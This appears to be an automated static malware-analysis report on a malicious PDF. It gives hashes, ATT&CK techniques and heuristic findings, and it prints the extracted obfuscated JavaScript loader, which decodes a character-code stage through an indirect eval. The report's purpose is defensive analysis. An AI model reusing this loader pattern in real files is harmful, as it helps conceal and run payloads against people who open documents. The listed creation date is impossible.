Malicious PDF — malware analysis report

Static analysis result for SHA-256 f33e2a2904c33cfd…

MALICIOUS

PDF

18.0 KB Created: 2011-72-51 03:25:00 Authoring application: String.fromCharCode First seen: 2026-05-09
MD5: d08a47e6a913cddc51eaf03921e0295e SHA-1: ef5163f667201ea4c2a065c7505b93a2e4176007 SHA-256: f33e2a2904c33cfdf74e600aadbaf545a17ea70becb3397968b5bde331f48b2c
154 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

This PDF file contains obfuscated JavaScript, identified as a Pidief-style loader. The script attempts to decode and execute a payload by manipulating strings and using `String.fromCharCode`. The ML classifier strongly indicates maliciousness, and the presence of JavaScript points to an exploit targeting PDF viewers.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /Producer (String.fromCharCode)
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x45CA 373 bytes
SHA-256: 664c239b7e8ef47e6ed0ed65f882fcfdfadfa15393dd98c831c5815d46ac135c
Preview script
First 1,000 lines of the extracted script
var w = 4;
var xheik = this.title.replace(/w/g,'*w,');
xheik = xheik.replace(/t/g,'2');
xheik=xheik.substr(0,xheik.length-2) + ']';
ohmku=function(){return function(){return this}()}();
vqng=ohmku[this.subject];
qlwqg=vqng(this.producer);
fqkat = vqng(xheik);
var s = '';
for (i = 0; i < fqkat.length; i++) {
	jnry = fqkat[i];
	s += qlwqg(jnry);
}
vqng(s);

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